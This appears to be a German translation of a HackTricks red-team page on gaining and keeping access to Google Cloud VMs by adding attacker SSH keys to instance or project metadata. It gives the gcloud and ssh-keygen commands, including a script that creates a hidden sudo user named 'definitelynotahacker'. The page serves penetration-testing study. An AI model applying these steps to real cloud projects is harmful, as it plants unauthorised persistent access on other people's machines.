GCP - Fügen Sie benutzerdefinierte SSH-Metadaten hinzu
Reading time: 6 minutes
GCP - Fügen Sie benutzerdefinierte SSH-Metadaten hinzu
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Modifizieren der Metadaten
Die Modifikation der Metadaten auf einer Instanz könnte zu erheblichen Sicherheitsrisiken führen, wenn ein Angreifer die erforderlichen Berechtigungen erlangt.
Integration von SSH-Schlüsseln in benutzerdefinierte Metadaten
Auf GCP führen Linux-Systeme häufig Skripte aus der Python Linux Guest Environment for Google Compute Engine aus. Ein kritischer Bestandteil davon ist der accounts daemon, der dazu dient, regelmäßig den Metadaten-Endpunkt der Instanz auf Updates der autorisierten SSH-Öffentlichen Schlüssel zu überprüfen.
Daher könnte ein Angreifer, wenn er benutzerdefinierte Metadaten modifizieren kann, den Daemon dazu bringen, einen neuen öffentlichen Schlüssel zu finden, der verarbeitet und in das lokale System integriert wird. Der Schlüssel wird in die Datei ~/.ssh/authorized_keys
eines bestehenden Benutzers hinzugefügt oder möglicherweise wird ein neuer Benutzer mit sudo
-Rechten erstellt, abhängig vom Format des Schlüssels. Und der Angreifer wird in der Lage sein, den Host zu kompromittieren.
SSH-Schlüssel zu einem bestehenden privilegierten Benutzer hinzufügen
- Vorhandene SSH-Schlüssel auf der Instanz überprüfen:
- Führen Sie den Befehl aus, um die Instanz und ihre Metadaten zu beschreiben, um vorhandene SSH-Schlüssel zu finden. Der relevante Abschnitt in der Ausgabe befindet sich unter
metadata
, speziell dem Schlüsselssh-keys
.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Achten Sie auf das Format der SSH-Schlüssel: Der Benutzername steht vor dem Schlüssel, getrennt durch einen Doppelpunkt.
- Eine Textdatei für SSH-Schlüssel-Metadaten vorbereiten:
- Speichern Sie die Details der Benutzernamen und ihrer entsprechenden SSH-Schlüssel in einer Textdatei namens
meta.txt
. Dies ist wichtig, um die vorhandenen Schlüssel zu erhalten, während neue hinzugefügt werden.
- Einen neuen SSH-Schlüssel für den Zielbenutzer (
alice
in diesem Beispiel) generieren:
- Verwenden Sie den Befehl
ssh-keygen
, um einen neuen SSH-Schlüssel zu generieren, wobei sichergestellt wird, dass das Kommentarfeld (-C
) mit dem Zielbenutzernamen übereinstimmt.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Fügen Sie den neuen öffentlichen Schlüssel zu
meta.txt
hinzu und ahmen Sie das Format nach, das in den Metadaten der Instanz gefunden wurde.
- Die SSH-Schlüssel-Metadaten der Instanz aktualisieren:
- Wenden Sie die aktualisierten SSH-Schlüssel-Metadaten auf die Instanz an, indem Sie den Befehl
gcloud compute instances add-metadata
verwenden.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Auf die Instanz mit dem neuen SSH-Schlüssel zugreifen:
- Stellen Sie eine Verbindung zur Instanz mit SSH unter Verwendung des neuen Schlüssels her und greifen Sie auf die Shell im Kontext des Zielbenutzers (
alice
in diesem Beispiel) zu.
ssh -i ./key alice@localhost
sudo id
Einen neuen privilegierten Benutzer erstellen und einen SSH-Schlüssel hinzufügen
Wenn kein interessanter Benutzer gefunden wird, ist es möglich, einen neuen zu erstellen, dem sudo
-Rechte gewährt werden:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH-Schlüssel auf Projektebene
Es ist möglich, den Zugriff auf SSH für mehrere virtuelle Maschinen (VMs) in einer Cloud-Umgebung zu erweitern, indem SSH-Schlüssel auf Projektebene angewendet werden. Dieser Ansatz ermöglicht den SSH-Zugriff auf jede Instanz innerhalb des Projekts, die nicht ausdrücklich die projektweiten SSH-Schlüssel blockiert hat. Hier ist eine zusammengefasste Anleitung:
- SSH-Schlüssel auf Projektebene anwenden:
- Verwenden Sie den Befehl
gcloud compute project-info add-metadata
, um SSH-Schlüssel ausmeta.txt
zu den Metadaten des Projekts hinzuzufügen. Diese Aktion stellt sicher, dass die SSH-Schlüssel in allen VMs des Projekts erkannt werden, es sei denn, eine VM hat die Option "Projektweite SSH-Schlüssel blockieren" aktiviert.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH in Instanzen mit projektweiten Schlüsseln:
- Mit den projektweiten SSH-Schlüsseln können Sie in jede Instanz innerhalb des Projekts SSH-en. Instanzen, die projektweite Schlüssel nicht blockieren, akzeptieren den SSH-Schlüssel und gewähren Zugriff.
- Eine direkte Methode, um in eine Instanz SSH zu erhalten, ist die Verwendung des Befehls
gcloud compute ssh [INSTANCE]
. Dieser Befehl verwendet Ihren aktuellen Benutzernamen und die auf Projektebene festgelegten SSH-Schlüssel, um den Zugriff zu versuchen.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.